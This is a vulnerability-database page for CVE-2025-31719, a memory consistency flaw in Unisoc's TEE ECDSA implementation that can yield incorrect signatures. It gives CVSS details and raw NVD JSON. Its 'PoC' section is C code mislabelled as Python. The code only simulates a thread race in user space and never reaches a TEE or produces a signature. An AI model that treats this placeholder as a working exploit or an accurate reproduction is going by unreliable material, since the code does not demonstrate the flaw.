Security Vulnerability Report
中文
CVE-2025-31719 CVSS 5.1 MEDIUM

CVE-2025-31719

Published: 2025-11-11 01:15:36
Last Modified: 2026-04-15 00:35:42

Description

In TEE EcDSA algorithm, there is a possible memory consistency issue. This could lead to generated incorrect signature results with low probability.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Unisoc TEE EcDSA实现(具体版本需查看厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-31719 PoC - TEE EcDSA Memory Consistency Issue // Note: This is a theoretical PoC as actual exploitation requires specific hardware and TEE access #include <stdio.h> #include <pthread.h> #include <stdint.h> // Simulated TEE EcDSA signature context typedef struct { uint8_t private_key[32]; uint8_t signature[64]; uint32_t state; } ecdsa_context_t; ecdsa_context_t ctx; void* signature_worker(void* arg) { // Trigger ECDSA signature generation // In vulnerable implementation, memory consistency issues may occur for (int i = 0; i < 1000; i++) { // Simulate signature generation with concurrent access ctx.state = i; // Memory barrier missing in vulnerable code __asm__ volatile("" ::: "memory"); // Read private key - may get stale data due to consistency issue uint8_t key_copy[32]; for (int j = 0; j < 32; j++) { key_copy[j] = ctx.private_key[j]; } // Generate signature using potentially inconsistent key data // This may produce incorrect signatures with low probability } return NULL; } void* key_update_worker(void* arg) { // Concurrently update key material for (int i = 0; i < 1000; i++) { // Update private key for (int j = 0; j < 32; j++) { ctx.private_key[j] = (uint8_t)(i + j); } // Memory synchronization issue - no proper barrier ctx.state = 0xFFFFFFFF; // State update without proper sync } return NULL; } int main() { pthread_t t1, t2; // Initialize context memset(&ctx, 0, sizeof(ctx)); for (int i = 0; i < 32; i++) { ctx.private_key[i] = 0xAB; } // Create concurrent threads to trigger race condition pthread_create(&t1, NULL, signature_worker, NULL); pthread_create(&t2, NULL, key_update_worker, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("PoC demonstration complete.\n"); printf("In vulnerable implementation, signatures may be incorrect.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31719", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:35.997", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In TEE EcDSA algorithm, there is a possible memory consistency issue. This could lead to generated incorrect signature results with low probability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.5}]}, "references": [{"url": "https://www.unisoc.com/en/support/announcement/1987692028719517698", "source": "[email protected]"}]}}